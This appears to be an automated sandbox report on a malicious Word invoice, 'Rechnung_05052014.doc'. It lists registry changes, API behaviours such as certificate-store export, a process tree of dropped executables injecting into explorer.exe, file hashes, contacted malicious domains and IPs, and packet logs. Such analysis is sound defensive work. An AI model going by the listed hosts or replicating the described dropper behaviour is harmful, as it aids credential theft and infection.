Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 1609
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 1609
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 1A02
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 1A10
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 1A10
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 1A03
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 1A05
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 1A05
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 1A05
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 1A06

Language, Device and Operating System Detection:

barindex
Contains functionality to query local / system timeShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_00420A6C CertOpenSystemStoreW,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCertificatesInStore,PFXExportCertStoreEx,PFXExportCertStoreEx,PFXExportCertStoreEx,CharLowerW,GetSystemTime,CertCloseStore,5_2_00420A6C
Contains functionality to query the account / user nameShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_00404A95 OleInitialize,OleInitialize,GetUserNameA,GetUserNameA,4_2_00404A95
Contains functionality to query time zone informationShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_0041826D GetTimeZoneInformation,5_2_0041826D
Contains functionality to query windows versionShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_00404644 GetVersionExA,GetLocaleInfoA,GetLocaleInfoA,lstrlenA,GetModuleHandleA,GetProcAddress,GetSystemInfo,4_2_00404644
Queries the cryptographic machine GUIDShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Queries the installation date of WindowsShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeRegistry key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeRegistry key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeRegistry key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Queries the installation date of WindowsShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
Queries the product ID of WindowsShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId
Queries the volume information (name, serial number etc) of a deviceShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEQeruies volume information: C:\ VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEQeruies volume information: C:\Rechnung_05052014.doc VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEQeruies volume information: C:\ VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEQeruies volume information: C:\ VolumeInformation
Source: C:\WINDOWS\system32\svchost.exeQeruies volume information: C:\WINDOWS\wiaservc.log VolumeInformation
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeQeruies volume information: C:\ VolumeInformation
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeQeruies volume information: C:\ VolumeInformation
Source: C:\WINDOWS\system32\cmd.exeQeruies volume information: C:\ VolumeInformation
Uses the system / local time for branch decision (may execute only at specific dates)Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_1_00419B00 GetLocalTime followed by cmp: cmp dword ptr [ebp-0000066ch], 17h and CTI: je 00419B9Ah5_1_00419B00
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_0_00419B00 GetLocalTime followed by cmp: cmp dword ptr [ebp-0000066ch], 17h and CTI: je 00419B9Ah5_0_00419B00
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_1_00419B00 GetLocalTime followed by cmp: cmp dword ptr [ebp-0000066ch], 17h and CTI: je 00419B9Ah6_1_00419B00
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_0_00419B00 GetLocalTime followed by cmp: cmp dword ptr [ebp-0000066ch], 17h and CTI: je 00419B9Ah6_0_00419B00

Yara Overview

No Yara matches

Startup

  • system is xp2
  • WINWORD.EXE (PID: 216 MD5: 5FEAF6AB43AA477597F9F8DB0E8CB69C)
    • ZwGuKEMphiZgNT.com (PID: 1640 MD5: 2728887EBB406A0FCE1BF901B2B23418)
      • 3463226.exe (PID: 1652 MD5: 33E9C84EB21E020B0011915D010D3B08)
        • gonuu.exe (PID: 212 MD5: AF1EAE6571501D509A0F1FB43328C405)
          • explorer.exe (PID: 1496 MD5: 12896823FB95BFB3DC9B46BCAEDC9923)
          • ctfmon.exe (PID: 1756 MD5: 5F1D5F88303D4A4DBC8E5F97BA967CC3)
          • wscntfy.exe (PID: 1796 MD5: F92E1076C42FCD6DB3D72D8CFE9816D5)
        • cmd.exe (PID: 756 cmdline: C:\WINDOWS\system32\cmd.exe /c C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmp17a7aa60.bat MD5: 6D778E0F95447E6546553EEEA709D03C)
  • svchost.exe (PID: 1252 MD5: 27C6D03BCDB8CFEB96B716F3D8BE3E18)
  • cleanup

Created / dropped Files

File PathType and Hashes
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exe
  • Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
  • MD5: 33E9C84EB21E020B0011915D010D3B08
  • SHA: 9380FAF859117536E564B1568F219276756AD8A6
  • SHA-256: 01B76143E2EB618B078C0DC7CB1AF66E9CC7E9CDA7F92DC34D5DFD1201F2E792
  • SHA-512: 26ADC413498B0A804BE6907F85BCD35D4627F3217460D637E2F0C045AA4DABA6A30D34E1150ED188DA2A345DB0C2A4E5737C40DC1407684C33C09EB0DDE14D6A
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\MPS1.tmp
  • Type: data
  • MD5: BAFD2362E5F623037C405EB88F93576A
  • SHA: 9A39F86CF79DF08F46B2759E9F68FC8D0AA5FE0D
  • SHA-256: 05107771C473109A2C16C834245217C35D074A1976CE86A299812D866369C1EA
  • SHA-512: B50A1122EA995C118F16FEC64A0D1869DB4EA1E686B1B24441D45E926537DAC56FC31A0FA9E450DACD4ACE1A0F36C619F15B69AF896D86B2FC6D90EC835A5AC0
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Word8.0\MSForms.exd
  • Type: data
  • MD5: 61B548DA17248B5086616C6D1769B59F
  • SHA: F2816A1E599DAD47FC5F11260E66392817031F85
  • SHA-256: 6533D39A8A6C1E70604188DF69FB92A9DE9F2C871CDDD2822468D9DE841113ED
  • SHA-512: 28E42D2E4368322DD60A1F421887533985B2EC3BC1F2FDF8C0BE930E9C23741CD1BADBBFABD064CD83D7F4BC37026EC2926E6DC16270DD29B2F3169CFD46A5EC
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmp17a7aa60.bat
  • Type: DOS batch file text
  • MD5: 243E44DFA911ECC81190352DBBDBF972
  • SHA: D0EF81A37A0D674C9EF3039536575D0934C75C10
  • SHA-256: 6C835F7CDDF6E9CE1FF3407792B9E961AFDEA06063D643A59BB8285331ACB516
  • SHA-512: B31C4327157BB1FD17574618E6A0D6002EA3B74263A47E850C8D1C72F829018906FD65D393960D21F360295CEF9EF94669B1FA7072677BAD312033BEC8B18424
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~WRD0001.doc
  • Type: DOS executable (device driver)
  • MD5: D08FB2328DD32683D34ECFD4FBC1D992
  • SHA: 02388633088D0988AA6860884F0143E699F64FC1
  • SHA-256: B1A172ABE8DD9C7E26664B37F7153335EE0D386F4AC09CA6DFC2938CED0FC464
  • SHA-512: 538A5EBAACC97BCD73294CC4E046577995C22CD7A627BF5DD79C0C84B00399630A79D1C140EB6D816F5C3DA0F55F9F2A70E187C937388ED4D561F2851B1CF8E9
C:\DOCUME~1\ALLUSE~1\APPLIC~1\MICROS~1\OFFICE\DATA\opa11.dat
  • Type: DBase 3 data file (1761531074 records)
  • MD5: 374016627E06A3871B86049B58D69058
  • SHA: 12E724CBDF4B7A5E770125E86B654E5A432D17BB
  • SHA-256: FEE83CB65F2BFB59E63AAC9FED294ABEDC827A729E3D7C01B66E1C5CCAA6922B
  • SHA-512: 7D98B40A600B99F929067A4A59075E7FC6A10E8A8EFC7B7CB8A28277994EA70224FA2BAC84114E42F6F78E6AF98E26F1BF2C90A1EF06441BB4971DF6ACC513E4
C:\Documents and Settings\Administrator\Application Data\Microsoft\Address Book\Administrator.wab
  • Type: data
  • MD5: DBA332182A6678C1360B5A5FB63B5760
  • SHA: 5FF5B208A2A2CA9826E59860B9864719B8E542EA
  • SHA-256: A02CDC581424E8090AC13DBCB8F01390587C3E49CF805F9B05FEDA6AD22F91DD
  • SHA-512: 57B42351875F4983A1AA026EBDEB98984C73785DC4CAA02B443A328BCA23490C47BADE6AABF119D4F7841995CB9A981892B8A2D599B54801AF2C58DB486B1471
C:\Documents and Settings\Administrator\Application Data\Microsoft\Address Book\Administrator.wab~
  • Type: data
  • MD5: 7AD248859B84C9A65099A9458C814975
  • SHA: 9FF26648AE19F209FF23FA538C9CCE9706F921D5
  • SHA-256: AB4E8136B4E6F2335CC8FFE292BC44DDFB023A259E2B5B8BD3A54A14A9F6C864
  • SHA-512: 0DF30D09C59AD4795A1A55D05E4948DF5EE638C612B63E3D3B3D9FD97328AE4AEE8DCDB3BDFF87D3C455C293A98CD7887AD287F89F46D217321C9CD83D92DFE4
C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\MSO1033.acl
  • Type: data
  • MD5: 67EF35E2D404B22A3C89F07AEDA3CB47
  • SHA: A9139883179A14E27B2B62043456894BCA3EFFF5
  • SHA-256: 07D26A6F23B739E3F2F984B6F391EFEAF7D62CB90002793234D0FC0AFBA54490
  • SHA-512: 7FDDD2D0FEBD5117EA851B58B2D64E0E0194053F71574A8B36FBCB346B7EA53B1FBE7434AFBE6B810BBC70911FACFA348F6F6D052B8BFA0A4F7193CB3839236B
C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\Local Disk (C).LNK
  • Type: MS Windows shortcut
  • MD5: 707394A5C3B1232895803B10D52295C9
  • SHA: ED3501AF751556CE86FF38B5DFD95B13B11DBADA
  • SHA-256: 5D565F7AE62F8CE52B202511E4B69F34E4D8602EC81CA5C953D8B4C8E6B1A7FA
  • SHA-512: F37081090C3648BF92038C5D105FA1190669E28174437D37FCF792099398D2B4559700060662BE2A7C768E771FAB6FB621FEFA58A68719713DFFA1A5C41385BD
C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\Rechnung_05052014.doc.LNK
  • Type: MS Windows shortcut
  • MD5: BD48EF81CEBDA7620D8E64E76508B89F
  • SHA: 382276AC468A9862DEF5E14CE78E6AEB9755800A
  • SHA-256: B92B28A9AA18349721B9601BF586B6DF9AFEC51D25CB5793B423A1D18512DC6A
  • SHA-512: A6C3267D734D3417C8352F42025F6BEF4046E91B819B73EA378B2230B5AA17A1B5805677C8587A3C888930D839D14A07B39D00C1D295072B892BCBA3FEAF6BA7
C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\index.dat
  • Type: ASCII text, with CRLF line terminators
  • MD5: 0D6819A43599DD675B7889F7B5A6363A
  • SHA: 4ED689DD54BBFEE23D71ED37CE0B9DA2ABCA2DBA
  • SHA-256: 091AE9D2DECB67FE04034871537A5C1F70E8C080607859980F69F982F4CCEDFA
  • SHA-512: 93A99D03D0DBCC83CF1FFF4C0D2E8120DC5BCD2A05D77C0F93A9285DB637465DF66F1E99FA3CAC42D07181E3449B3B88EFF3BD3A2CA5CB6D9E26F7ECE2234BC5
C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exe
  • Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
  • MD5: AF1EAE6571501D509A0F1FB43328C405
  • SHA: D007C729559AA621A23C7C6AB823CE7CE727BCE2
  • SHA-256: 0E83B58B38BDDA157382F765FCD64F0AFA9990B9C065643AC14B3B5F07720B30
  • SHA-512: C09F4D1BC5E0BE10547B79A59347EC3542B3912403B4FE070F5ECD77FAD23BAF7995136A6952BC282A7F36B3ADB0D35B224B4F4DEFB634374022ABD965014BFB
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.MSO\567EFA22.wmf
  • Type: ms-windows metafont .wmf
  • MD5: B98CE930C4A84F9F3D2B2BE0E168BBD8
  • SHA: 0D7DBFC9088E41EA650384CA8D3F8BC91A4318BF
  • SHA-256: D109790C708E90C85F0CD8633D34914E232443C534FB5E9153D52D845893AC97
  • SHA-512: 1C0C17EC1375DE92EDB2704BE3B721C9B8008868C5C35E0E111B080D4B145CCA7A81D528D9BA3517B763AAF638BCACA9F38979A7133CE60BDD5FA38AFA303440
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.MSO\696E3FBB.wmf
  • Type: ms-windows metafont .wmf
  • MD5: DE829C9E7AC5F1FD66FE20C76D5BDBD1
  • SHA: A2D00B385D871F1555FC9F74B8CD1065F2B59D7F
  • SHA-256: BCA7B9435A6E3FEBE0A88BDC03B3C5BD179F6A931BBD03B39C659E513FC69281
  • SHA-512: 65B65AEDBA435EB320C07449AEB602523203D0B19B0230F1C498CC9D079A34CFF19F4E479B0C9685D367B2F81A301243F10DB888627F447EAA5B08F053E49A51
C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.com
  • Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
  • MD5: 2728887EBB406A0FCE1BF901B2B23418
  • SHA: 878063F95B5687E845180B67A4FDD2BA4BFACC7E
  • SHA-256: 0C5752B0357C674EA30D8C26A5662277A25228FC920F9AC43580154DCD579F33
  • SHA-512: 056B645254476187E868EF1BF82B76E2E8A9F4BCAFED6DA3871A6066AE1DF67D4718E2F7800DB475FD7037AE2B2372ECDAC5FA0692F3F4798BD9F45F62634501
C:\WINDOWS\wiadebug.log
  • Type: ASCII text, with CRLF line terminators
  • MD5: 1DDA361343706E117F85BF62793111AF
  • SHA: 062A4A3548DF3980C367CC4DDEE2EFD9118A2CD6
  • SHA-256: 362A9255C9375EC01F719B2E4EBF72AD1D6D794AB77FCEFBD67F49C206275BF0
  • SHA-512: FD9BE318368255F77B69186FCE1C4BFB5DFD8B5318FA525E0C60EDEEE05D1DB12E47F3CC7EE24C09B900700C9E5E283C30B9E4D4A5677838207DE4941AA2ECBE
C:\WINDOWS\wiaservc.log
  • Type: ASCII text, with CRLF line terminators
  • MD5: 7D944F5DA61920D015E3BE546FA49068
  • SHA: 6F87D79DB90630A929AA8DA81928559FDF1ACA6E
  • SHA-256: 832BDAB64729BA7F1F87C4CBF22753C95922052FE85894E905B37C5BBD962492
  • SHA-512: F5F8AD43D51D9FA51BDD0944268EE3BA1BEFA80690D2FF8545BB1216C0F02072449341E26914DCF8DDE2E1A09876F479E1D056FF80794E7D48EE9E393F4242B1
C:\~$chnung_05052014.doc
  • Type: data
  • MD5: 2790F1D85979EFB9D506C9941645555B
  • SHA: 3B2801EE122A530E5C5C6943624A4A2A05093D98
  • SHA-256: F2899E3CE463E2B278CE67202A0F6CF3235230675A3D45BA8183AB28E5E7255F
  • SHA-512: D487898AA65417E422A43E60E6EDEF84B68B87C596341276086FDB5788051530871F7BD5B96E6E1F9550C0D732F75E72FED6149525367D712FE6BDEF6638D95C
\net\NtControlPipe12
  • Type: data
  • MD5: 295355329522E1AEC556732EF843023D
  • SHA: 09AC60DF373FE723A12374903BADDE73F8A94D71
  • SHA-256: FF5740141E2A0511793B7967568E088BBA0E2D900198C2507613628074454346
  • SHA-512: FAE6ED850DC5D4F0E399D76BDFFAA6C03169A146177998D151007E1AFA21CB851620B4BAF1D9EBA953A337AFC72C285D8B8A9D725943F7C5B6B367D6C59E6D40
\srvsvc
  • Type: GLS_BINARY_LSB_FIRST
  • MD5: 00010789CF97BAA5F49E8C7BF0605D58
  • SHA: 87D5F372BA2319C3F0475EB7D6EABEA3178E7CB2
  • SHA-256: 6547A2B904DAA11D272A62264A922997366AC2156B29D54B538C81DBC2A5A17D
  • SHA-512: DF1D3889AC3A75BD9499295C951880E6F69F8501D1A981A9F241845BCD5E609F58DC8278F8B4F670E5AC31864956DA528643EF97F8F3320AD3165E0F0EDEA769

Contacted Domains/Contacted IPs

Contacted Domains

NameIPName ServerActiveRegistrare-Mail
www.pensionmagda.cz217.198.114.63unknowntrueunknownunknown
pensionmagda.cz217.198.114.63unknowntrueunknownunknown
pianossimi.fr213.186.33.87unknowntrueunknownunknown

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPCountryPingableOpen Ports
213.186.33.87Franceunknownunknown
217.198.114.63Czech Republicunknownunknown
195.186.1.121Switzerlandunknownunknown

Static File Info

General

File type:CDF V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1251, Author: shad, Template: Normal.dotm, Last Saved By: User, Revision Number: 87, Name of Creating Application: Microsoft Office Word, Total Editing Time: 20:09:00, Create Time/Date: Fri May 16 23:41:00 2014, Last Saved Time/Date: Sun Jun 01 23:27:00 2014, Number of Pages: 38, Number of Words: 30978, Number of Characters: 176580, Security: 0
File name:Rechnung_05052014.doc
File size:428032
MD5:b9f33467d0856e18129aca8f997eeaf8
SHA1:05bd0fadcfabd200d90095d2306a7cdd48c32066
SHA256:6ccf3cc6ccc348c7451a35045f93a49b34c77cce62b0f465ef3d8782eac72c3c
SHA512:fac4e9a416ba2d2a19dd8748857f0a2f86b21aaf136ac99f6f95facfa314ac106d9f68e23398054923f244e8798840d5e104d2ceb55007d40a07bb82a6164738

Network Behavior

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Aug 8, 2014 11:26:00.374351025 MESZ6419453192.168.1.13195.186.1.121
Aug 8, 2014 11:26:00.858766079 MESZ5364194195.186.1.121192.168.1.13
Aug 8, 2014 11:26:00.869965076 MESZ103080192.168.1.13217.198.114.63
Aug 8, 2014 11:26:00.870012999 MESZ801030217.198.114.63192.168.1.13
Aug 8, 2014 11:26:00.870271921 MESZ103080192.168.1.13217.198.114.63
Aug 8, 2014 11:26:00.871073961 MESZ103080192.168.1.13217.198.114.63
Aug 8, 2014 11:26:00.871100903 MESZ801030217.198.114.63192.168.1.13
Aug 8, 2014 11:26:01.548276901 MESZ801030217.198.114.63192.168.1.13
Aug 8, 2014 11:26:01.736116886 MESZ103080192.168.1.13217.198.114.63
Aug 8, 2014 11:26:01.817989111 MESZ801030217.198.114.63192.168.1.13
Aug 8, 2014 11:26:01.825661898 MESZ103080192.168.1.13217.198.114.63
Aug 8, 2014 11:26:01.825706005 MESZ801030217.198.114.63192.168.1.13
Aug 8, 2014 11:26:01.825742006 MESZ103080192.168.1.13217.198.114.63
Aug 8, 2014 11:26:01.829366922 MESZ5323053192.168.1.13195.186.1.121
Aug 8, 2014 11:26:02.723957062 MESZ5353230195.186.1.121192.168.1.13
Aug 8, 2014 11:26:02.725480080 MESZ103180192.168.1.13217.198.114.63
Aug 8, 2014 11:26:02.725507975 MESZ801031217.198.114.63192.168.1.13
Aug 8, 2014 11:26:02.725601912 MESZ103180192.168.1.13217.198.114.63
Aug 8, 2014 11:26:02.725887060 MESZ103180192.168.1.13217.198.114.63
Aug 8, 2014 11:26:02.725905895 MESZ801031217.198.114.63192.168.1.13
Aug 8, 2014 11:26:03.618908882 MESZ801031217.198.114.63192.168.1.13
Aug 8, 2014 11:26:03.795463085 MESZ801031217.198.114.63192.168.1.13
Aug 8, 2014 11:26:03.795572996 MESZ103180192.168.1.13217.198.114.63
Aug 8, 2014 11:26:03.796120882 MESZ103180192.168.1.13217.198.114.63
Aug 8, 2014 11:26:03.796144009 MESZ801031217.198.114.63192.168.1.13
Aug 8, 2014 11:26:03.799379110 MESZ6019753192.168.1.13195.186.1.121
Aug 8, 2014 11:26:04.255403996 MESZ5360197195.186.1.121192.168.1.13
Aug 8, 2014 11:26:04.257005930 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:04.257025003 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:04.257123947 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:04.257400990 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:04.257420063 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:04.882350922 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:04.924474955 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:04.924566984 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:04.924576998 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.005760908 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.005790949 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.006279945 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.006331921 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.006788015 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.021092892 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.021121025 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.021610975 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.021661043 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.022267103 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.022598028 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.022639036 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.038685083 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.038712978 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.039164066 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.039215088 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.039664030 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.046547890 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.132947922 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.133445978 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.133500099 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.135094881 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.135124922 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.135596991 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.135649920 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.136116982 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.138889074 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.150762081 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.150790930 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.151254892 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.151308060 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.151767969 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.162837029 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.166513920 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.166559935 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.167017937 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.167069912 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.167594910 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.171161890 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.173372030 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.173398972 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.174094915 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.174146891 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.174607038 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.183235884 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.183264971 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.183274984 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.183752060 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.183944941 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.187496901 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.261112928 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.261147976 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.261162996 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.261643887 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.261687994 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.261888981 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.261907101 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.261928082 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.262511015 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.262546062 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.263051033 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.265361071 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.265391111 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.265400887 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.265774965 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.277621031 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.277626991 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.277729988 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.277746916 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.277863026 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.281863928 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.294123888 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.294209003 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.294226885 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.309199095 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.309206009 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.309207916 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.309305906 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.309315920 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.309355974 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.316991091 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.317002058 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.317248106 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.317274094 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.317528963 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.321636915 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.321665049 MESZ801032213.186.33.87192.168.1.13
